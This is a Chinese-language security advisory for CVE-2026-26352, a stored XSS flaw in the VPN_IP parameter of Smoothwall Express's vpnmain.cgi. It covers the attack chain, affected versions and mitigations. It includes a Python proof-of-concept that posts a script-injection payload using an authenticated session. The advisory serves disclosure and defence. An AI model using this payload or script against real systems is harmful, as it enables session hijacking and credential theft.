IPBUF安全漏洞报告
English
CVE-2026-26352 CVSS 5.4 中危

CVE-2026-26352 Smoothwall Express存储型XSS漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-26352
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Smoothwall Express

相关标签

Stored XSSSmoothwallVPNCWE-79Cross-Site Scripting

漏洞概述

Smoothwall Express 3.1 Update 13之前的版本被发现存在存储型跨站脚本(XSS)漏洞(CVE-2026-26352)。该漏洞的根本原因是/cgi-bin/vpnmain.cgi脚本在处理VPN配置时,未能对VPN_IP参数进行严格的清洁和过滤。经过身份验证的攻击者可以利用此漏洞,通过修改VPN设置注入恶意的JavaScript代码。一旦其他用户查看了被篡改的VPN配置页面,恶意脚本将自动执行,进而可能导致账户凭证泄露或会话被劫持。建议尽快升级系统以修补此安全缺陷。

技术细节

该漏洞属于典型的存储型跨站脚本攻击(Stored XSS)。漏洞发生在Smoothwall Express的VPN管理模块中。具体而言,/cgi-bin/vpnmain.cgi脚本接收用户提交的VPN配置参数时,仅进行了简单的逻辑检查,完全忽略了针对HTML特殊字符(如<, >, ", ')的转义处理。攻击者首先需要拥有一个有效的低权限账户并登录系统,随后在VPN配置界面的IP地址输入框中注入经过构造的JavaScript Payload。系统将这些数据未加修改地存储在后端配置文件或数据库中。当管理员或其他高权限用户访问该VPN配置管理页面时,服务器会读取包含Payload的数据并直接渲染到HTML页面中。此时,受害者的浏览器会将攻击者的输入解析为HTML标签和JavaScript代码并执行。由于代码在受害者的浏览器上下文中运行,攻击者可以利用DOM操作窃取Session ID、修改页面内容或进行钓鱼攻击。

攻击链分析

STEP 1
步骤1:身份认证
攻击者使用低权限账户登录Smoothwall Express管理界面。
STEP 2
步骤2:漏洞利用
攻击者导航到VPN配置页面(/cgi-bin/vpnmain.cgi),并在VPN_IP参数字段中注入恶意JavaScript代码。
STEP 3
步骤3:存储Payload
系统保存攻击者提交的配置,未经过滤的恶意脚本被持久化存储在服务器端。
STEP 4
步骤4:触发漏洞
管理员或其他用户访问VPN配置管理页面查看设置。
STEP 5
步骤5:执行攻击
服务器渲染包含恶意代码的页面,受害者浏览器解析并执行脚本,导致Cookie窃取或会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Smoothwall Express VPN script target_url = "http://target-ip/cgi-bin/vpnmain.cgi" # Malicious payload to be injected into the VPN_IP parameter # This script simply alerts the document cookie, demonstrating execution. xss_payload = '"><script>alert(document.cookie)</script>' # Data payload mimicking a legitimate VPN configuration update # The key parameter here is 'VPN_IP' which is vulnerable post_data = { "ACTION": "Add", # Or "Update" depending on the form context "VPN_IP": xss_payload, "VPN_NAME": "TestConnection", # Other necessary form fields to make the request valid } # Attacker must be authenticated. Replace with a valid session cookie. cookies = { "smoothwall_session": "valid_session_id_here" } try: # Send the POST request to inject the payload response = requests.post(target_url, data=post_data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the VPN configuration page to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

影响范围

Smoothwall Express < 3.1 Update 13

防御指南

临时缓解措施
如果无法立即升级,建议限制对VPN配置页面的访问权限,仅允许必要的管理员访问。同时,可以在Web应用防火墙(WAF)中部署规则,拦截针对/cgi-bin/vpnmain.cgi的包含常见XSS特征的恶意请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表